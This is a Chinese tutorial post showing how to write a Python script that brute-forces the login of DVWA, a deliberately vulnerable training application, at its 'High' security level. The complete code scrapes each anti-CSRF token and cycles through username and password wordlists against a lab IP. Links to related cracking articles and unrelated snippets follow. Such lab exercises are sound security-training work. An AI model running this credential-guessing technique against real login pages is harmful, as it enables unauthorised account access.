1. 过程(不查看源代码)
使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下:
首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证。
2. 原理
访问暴力破解的页面,获取token;
带入参数再次访问该页面进行破解。
3. 仿照
搜索类似代码,编写暴力破解的代码。
4. 模拟登录
在最初访问该页面时,实际访问的页面是DVWA的login.php。
需要在访问页面时设置header的cookie。
r = requests.get(url, headers=headers)

5. 查找token

可以使用re(正则表达式)查找。
也可以使用BeautifulSoup查找。
由于响应页面的user_token没有id,所以不能使用id进行查找。
可以看到,user_token是第4个input,因此可以通过查找input,获取token的值。
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
6. 完整代码
# -*- coding: utf-8 -*-
# author = 'K0ctr' import requests
# import re
from bs4 import BeautifulSoup ip = "192.168.203.128"
headers = {
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Cookie": "security=high; PHPSESSID=5c6sgq0cclaer2tdpi6iep1m62"
} names = open("small.txt", 'r', encoding="utf-8")
passwords = open("common_pass.txt", 'r', encoding='utf-8')
for username in names:
passwords.seek(0)
for password in passwords:
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
# token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", r.text)[0]
get_data = {
"user_token": token,
"username": username.strip(),
"password": password.strip(),
"Login": "Login"
}
print('-' * 20)
print('用户名:', username.strip())
print('密码:', password.strip())
r = requests.get(url, params=get_data, headers=headers)
if 'Username and/or password incorrect.' in r.text:
print('破解失败')
else:
print('破解成功')
print('-' * 20)
passwords.close()
names.close()
 

编写DVWA暴力破解High级别的Python脚本的更多相关文章

  1. DVWA暴力破解练习

    本周学习内容: 1.结合DVWA学习Web应用安全权威指南 实验内容: 使用BurpSuite工具进行DVWA暴力破解 实验步骤: 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  2. htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

    李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...

  3. 用python 编写redis 暴力破解密码的程序

    本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ import redisimport l ...

  4. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  5. DVWA(二): Brute Force(全等级暴力破解)

    tags: DVWA Brute Force Burp Suite Firefox windows2003 暴力破解基本利用密码字典使用穷举法对于所有的账号密码组合全排列猜解出正确的组合. LEVEL ...

  6. 如何编写一个带命令行参数的Python文件

    看到别人执行一个带命令行参数的python文件,瞬间觉得高大上起来.牛逼起来,那么如何编写一个带命令行参数的python脚本呢?不用紧张,下面将简单易懂地让你学会如何让自己的python脚本,支持带命 ...

  7. 动态执行python脚本

    前言 存在许多独立的python脚本,这些脚本可能会增加,也可能会减少,现在需要按照某种顺序调度这些程序.在python的standard library中,有一个模块imp可以实现动态的调用ptho ...

  8. DVWA Brute Force:暴力破解篇

    DVWA Brute Force:暴力破解篇 前言 暴力破解是破解用户名密码的常用手段,主要是利用信息搜集得到有用信息来构造有针对性的弱口令字典,对网站进行爆破,以获取到用户的账号信息,有可能利用其权 ...

  9. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

随机推荐

  1. 模块复习 staticmethod和classmethod的区别

    Python中classmethod与staticmethod区别 classmethod:类方法staticmethod:静态方法 在python中,静态方法和类方法都是可以通过类对象和类对象实例访 ...

  2. 搭建企业级全网数据定时备份方案[cron + rsync]2

    1.1.1. rsync服务注意的问题 1.服务端 path=/backup/     -->带/ 2.客户端 rsync -avz /tmp/ rsync_backup@192.168.25. ...

  3. 布隆过滤器(Bloom Filter)简要介绍

    一种节省空间的概率数据结构 布隆过滤器可以理解为一个不怎么精确的 set 结构,当你使用它的 contains 方法判断某个对象是否存在时,它可能会误判.但是布隆过滤器也不是特别不精确,只要参数设置的 ...

  4. 021.5 IO流——字符流

    ###############基本功能写 FileWriter fw = new FileWriter("xxx.txt"); fw.write("哈喽"); ...

  5. MMM的一个Bug

    最近由于 CPAN上 Net::ARP 这个包的稳定版本从 1.0 升级到了 1.0.8, 导致触发了mmm的一个bug.   bug的现象: agent没有办法将VIP附着在本机上. agent日志 ...

  6. 问题:一球从某高度自由落下,每次落地后反跳回原高度的一半;再落下,求它在第n次落地时,共经过多少米?第n次反弹多高?

    import java.util.Scanner; //题目:一球从100米高度自由落下,每次落地后反跳回原高度的一半:再落下,求它在第10次落地时,共经过多少米?第10次反弹多高? public c ...

  7. 【Java虚拟机结构(第1部分)数据类型】摘要

    <Java虚拟机规范(Java SE 7版)>作者:Tim Lindholm.Frank Yellin.Gilad Bracha.Alex Buckley 摘要:第二章 Java虚拟机结构 ...

  8. pip-修改为国内镜像源

    pip 常用命令 pip install ./downloads/SomePackage-1.0.4.tar.gz pip install http://my.package.repo/SomePac ...

  9. showDoc项目文档管理工具

    1:下载showdoc代码文件 https://github.com/star7th/showdoc https://www.showdoc.cc/help?page_id=14 官方帮助文档 2:安 ...

  10. Yii2.0 发送文件

    1.发送文件 和浏览器跳转类似,文件发送是另一个依赖指定 HTTP 头的功能, Yii 提供方法集合来支持各种文件发送需求,它们对 HTTP 头都有内置的支持. yii\web\Response::s ...